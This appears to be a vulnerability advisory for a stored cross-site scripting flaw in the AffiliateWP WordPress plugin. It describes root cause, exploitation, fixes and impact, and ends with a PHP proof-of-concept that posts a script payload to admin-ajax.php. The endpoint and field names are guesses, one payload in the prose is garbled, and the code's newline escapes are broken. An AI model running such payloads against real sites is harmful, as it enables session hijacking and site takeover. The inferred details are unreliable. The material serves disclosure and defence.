Atomic Edge analysis of CVE-2026-65515 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in AffiliateWP, a WordPress affiliate management plugin. Versions up to and including 2.35.0 are affected, with a CVSS score of 7.2 (High). The attacker can inject arbitrary web scripts that execute whenever an administrator or user views the affected page. The vulnerability is classified as CWE-79, indicating improper neutralization of input during web page generation.
Root Cause: Based on the CWE classification and the vulnerability description, the root cause is insufficient input sanitization and output escaping in one or more plugin features that process unauthenticated requests. The likely vulnerable pattern is a registration or affiliate submission form that accepts fields such as name, URL, or payment details, and later renders those values without proper escaping. Since no code diff is available, this conclusion is inferred from the metadata. The confirmed aspect is that unauthenticated attackers can store malicious script content that executes when the page is viewed.
Exploitation: An attacker can submit crafted data through an unauthenticated form handler, such as an affiliate registration or contact form. The input will contain an XSS payload, for example: “>alert(document.cookie). The request must be sent to the plugin’s form submission endpoint, likely via a POST request to the WordPress admin-ajax.php or a custom form handler. The exact action and parameter names are not confirmed from the metadata, so the exploit method is based on common WordPress plugin patterns. A successful injection stores the payload, which then executes when an administrator visits the page displaying the submission.
Remediation: The fix requires implementing proper input sanitization on all user-supplied fields and output escaping when rendering stored data. Specifically, the plugin should use sanitize_text_field() and esc_html() or esc_attr() for HTML context, and properly encode URL fields with esc_url(). The patched version 2.35.1 addresses these weaknesses. Atomic Edge research recommends updating to the latest patched version and reviewing all custom form handlers for similar issues.
Impact: A successful stored XSS attack can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of an authenticated administrator. An attacker could inject scripts that create rogue admin accounts, redirect users to malicious sites, or exfiltrate sensitive data. The CVSS scope change indicates the impact extends beyond the vulnerable component, potentially compromising the entire WordPress site. However, there is no direct indication of privilege escalation or remote code execution without additional vulnerabilities.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65515 - AffiliateWP <= 2.35.0 - Unauthenticated Stored Cross-Site Scripting
/**
* This PoC demonstrates how an unauthenticated attacker can submit
* a malicious payload to a vulnerable AffiliateWP form.
* The form endpoint and parameters are inferred from common WordPress
* plugin patterns, as no source code is available.
*/
// Configure these variables as needed
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to the target site's admin-ajax.php URL
$action = 'affwp_register_affiliate'; // Inferred from plugin naming conventions
$payload = '"><script>alert("XSS")</script>'; // Basic XSS payload
// Build the POST data with the payload in a common form field
$post_data = [
'action' => $action,
'affwp_user_name' => $payload,
'affwp_user_email' => 'attacker@example.com',
'affwp_user_url' => 'https://example.com',
'affwp_payment_email' => 'attacker@example.com',
// Additional required fields may be needed, but this is the core injection
];
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP status: $http_coden";
echo "Response (first 500 chars):n" . substr($response, 0, 500) . "n";
echo "If the request succeeds, the script will execute when an admin views the submissions page.n";
}
// Close cURL session
curl_close($ch);
